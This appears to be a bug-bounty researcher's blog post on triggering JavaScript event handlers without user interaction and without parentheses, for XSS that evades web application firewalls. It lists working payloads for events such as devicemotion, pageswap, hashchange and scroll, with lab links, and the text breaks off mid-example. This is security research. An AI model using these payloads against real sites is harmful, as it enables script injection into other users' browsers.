## Overview In the first section of this post, I provide a short introduction to browser events, I then explore which Javascript event handlers can be used to execute functions without user interaction, using a limited character set, I also discuss various methods through which this can be leveraged to achieve arbitrary Javascript execution, Again using a limited character set. Next, I look into how certain web application firewalls (WAFs) can be bypassed by taking advantage of character normalization, Finally I explore the different ways various WAFs process and normalize user input before applying pattern detection. --- ## What are events? Events can be seen as notifications that a developer can use to react to certain changes that may happen in the browser, typically triggered by user interaction or changes in the browser enviornment. They serve as a crucial mechanism that developers rely on to create dynamic and interactive web applications. Events can be categorized into the following: - User-initiated events: Events that require explicit actions by the user, like mouse movements, clicks, or key presses. - Browser-generated events: Events triggered by the browser environment itself, such as page loading, window resizing, network status changes, and events related to the browser’s focus or form elements. - API-specific events: Events triggered by specific Web APIs, such as media playback changes, battery status updates, or messages passed between different browsing contexts or windows. In Javascript you can use the addEventListener() function to attach an event to an element or window, Here's an example of the syntax: ```javascript addEventListener("event", () => { // Do something }); ``` Alternatively you can also use event handlers which can be set via direct assignment @@@{color:green}{bold}onevent{/bold}{/color}={color:red}{bold}function{/bold}{/color}@@@ --- ## Why should I care? As bug bounty hunters every so often we may encounter a scenario where we find an injection point, confirm that it's vulnerable to XSS but we are unable to exploit it and achieve javascript execution due to the WAF blocking us or our user input getting sanitized by the application itself. One approach commonly used by web applications/WAFs is stripping or blocking user input containing characters such as @@@()@@@ or @@@``@@@ within HTML tags (@@@<>@@@) in an attempt to protect their clients from XSS. for example: @@@//cloudflare.com/?@@@ will respond with a {color:green}200 OK{/color} status code. and @@@//cloudflare.com/?@@@ will respond with a {color:red}403 Forbidden{/color}. --- ## Triggering Javascript events without user interaction Just to give a little context, one common xss payload I often see people use which utilizes javascript event handlers is @@@onerror=alert;throw 1@@@ which I believe was initially documented by Gareth Heyes back in [2012](https://web.archive.org/web/20200116054459/http://www.thespanner.co.uk/2012/05/01/xss-technique-without-parentheses/), Here's a quick breakdown of how and why it works for those who don't know: The onerror event handler is being assigned a function in this case an alert and the [throw](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/throw) statement is being used to raise a user-defined exception which triggers the error event which then executes it's assigned function resulting in @@@alert("Uncaught 1")@@@. Earlier this year [@garethheyes](https://x.com/garethheyes) released a new version of his tool [Shazzer](https://shazzer.co.uk) which allows you to easily fuzz HTML/Javascript behavior across different browsers. I wondered if there are any other event handlers that can be triggered without the need for any user interaction or a secondary statement, So I gathered a list of event handlers using: @@@Object.getOwnPropertyNames(window).filter(function(property){return /^on/.test(property);});@@@ Uploaded it to Shazzer's dataset and started fuzzing. While checking the browser console I noticed the following: ![Shazzer](https://res.cloudinary.com/drhrvcs22/image/upload/shazzer-events_gowiai.png) Interesting, some events(devicemotion, deviceorientation & deviceorientationabsolute) **did** trigger but they were getting blocked by Shazzer's iframe sandbox. Pasting @@@ondevicemotion=alert@@@ in the browser's console executes the alert. Pretty cool, though I wasn't very satisfied as these events appear to only be supported on chromium based browsers and they don't seem to work on mobile devices even though they were designed for them(?) so I started looking through [MDN docs](https://developer.mozilla.org/en-US/docs/Web/API/Element#Events) to see which other event handlers are viable(can be triggered with a limited charset and require no user interaction), to my surprise there were a lot of them. ### Chromium only As mentioned above the @@@ondevicemotion / ondeviceorientation / ondeviceorientationabsolute@@@ trigger automatically therefore we can just assign it a function. [e.g:](https://portswigger-labs.net/xss/xss.php?x=%3Cimg/src/onerror=ondevicemotion=alert%3E&context=html) @@@ondevicemotion=alert@@@ The @@@pagereveal / pageswap@@@ events can be triggered by setting the location to the current location which will result in a redirect loop and eventually trigger the event. [e.g:](https://portswigger-labs.net/xss/xss.php?x=%3Cimg/src/onerror=onpageswap=alert;location=location%3E&context=html) @@@onpageswap=alert;location=location@@@ The @@@contextvisibilityautostatechange@@@ event can be triggered by setting the value of the @@@contentVisibility@@@ CSS property to auto. [e.g:](https://portswigger-labs.net/xss/xss.php?x=%3Cimg/src/style=content-visibility:auto%20onerror=window.oncontentvisibilityautostatechange=alert%3E&context=html) @@@@@@ The @@@selectionchange@@@ event can be triggered by using a @@@textarea/input@@@ element with an autofocus attribute. [e.g:](https://portswigger-labs.net/xss/xss.php?x=&context=html) @@@@@@ ### Chromium / Firefox / Others The @@@message@@@ event needs a direct reference to the target window for cross origin communication therefore in order to trigger it we'd need to iframe the target or use top level navigation. [e.g:](https://portswigger-labs.net/xss/xss.php?x=%27;let%20xx%20=%20window.open%28%22//portswigger-labs.net/xss/xss.php?x=%27;window.onmessage=alert//%26context=js_string_single%22,%20%22_blank%22%29;setInterval%28z=%3E{xx.postMessage%28%22x%22,%22\*%22%29},500%29//&context=js_string_single) @@@let x = window.open("//portswigger-labs.net/xss/xss.php?x=';onmessage=alert//&context=js_string_single", "_blank");setInterval(z =>{x.postMessage("x", "*")}, 500)@@@ The @@@hashchange@@@ event can be triggered by assigning a new value to @@@location.hash@@@. [e.g:](https://portswigger-labs.net/xss/xss.php?x=%3Cimg/src/onerror=onhashchange=alert;location.hash=location%3E&context=html) @@@onhashchange=alert;location.hash=location@@@ The @@@scroll / scrollend@@@ events can be triggered by making the page scrollable via document.body.style.height and changing the value of @@@document.documentElement.scrollTop@@@. [e.g:](https://portswigger-labs.net/xss/xss.php?x=%3Cimg/src/onerror=window.onscroll=alert;document.body.style.height='999px';document.documentElement.scrollTop=1%3E&context=html) @@@window.onscroll=alert;document.body.style.height='999px';document.documentElement.scrollTop=1@@@ The @@@select@@@ event can be triggered by using a @@@textarea/input@@@ element with a value attribute and increasing the value of @@@element.selectionStart@@@. [e.g:](https://portswigger-labs.net/xss/xss.php?x=&context=html) @@@@@@ The @@@transitionstart / transitionend / transitionrun@@@ events can be triggered by setting the transition CSS property and changing the opacity to start the transition. [e.g:](https://portswigger-labs.net/xss/xss.php?x=&context=html) @@@@@@ The @@@load / pageshow@@@ and possibly others are triggered when the document initially loads, in a DOM XSS scenario we can use an iframe with a srcdoc attribute. [e.g:](https://portswigger-labs.net/xss/xss.php?x=